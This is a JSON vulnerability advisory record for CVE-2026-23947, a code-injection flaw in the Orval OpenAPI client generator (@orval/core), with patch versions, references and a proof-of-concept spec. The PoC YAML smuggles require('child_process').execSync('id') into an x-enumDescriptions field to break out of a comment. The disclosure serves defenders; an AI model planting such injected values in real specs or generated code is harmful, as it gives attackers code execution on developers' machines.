{"id":"CVE-2026-23947","aliases":["GHSA-h526-wf6g-67jv"],"url":"https://o3.security/vulnerability/CVE-2026-23947","summary":"Orval MCP client is vulnerable to  code injection via unsanitized x-enum-descriptions in enum generation","details":"### Impact\nArbitrary code execution in environments consuming generated clients\n\nThis issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.\n\nThe vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.\n\n### Patches\nUpgrade to Orval 8.0.2\n\n### References\nAn example OpenAPI showing the issue:\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Enum PoC\n  version: \"1.0.0\"\n\npaths:\n  /ping:\n    get:\n      operationId: ping\n      responses:\n        \"200\":\n          description: ok\n          content:\n            application/json:\n              schema:\n                $ref: \"#/components/schemas/EvilEnum\"\n\ncomponents:\n  schemas:\n    EvilEnum:\n      type: string\n      enum:\n        - PWNED\n      x-enumDescriptions:\n        - \"pwned */ require('child_process').execSync('id'); /*\"\n```","published":"2026-01-20T00:19:48.901Z","modified":"2026-08-12T03:51:11.501197373Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@orval/core","fixedVersion":"8.0.2"},{"ecosystem":"npm","name":"@orval/core","fixedVersion":"7.19.0"}],"fix":{"url":"https://github.com/orval-labs/orval/commit/9e5d93533904936678ba93b5d20f6bca176a4e1e","label":"orval-labs/orval@9e5d935"},"references":[{"type":"WEB","url":"https://github.com/orval-labs/orval/releases/tag/v8.0.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23947.json"},{"type":"ADVISORY","url":"https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23947"},{"type":"WEB","url":"https://github.com/orval-labs/orval/commit/9e5d93533904936678ba93b5d20f6bca176a4e1e"},{"type":"PACKAGE","url":"https://github.com/orval-labs/orval"},{"type":"WEB","url":"https://github.com/orval-labs/orval/releases/tag/v7.19.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.501197373Z"}}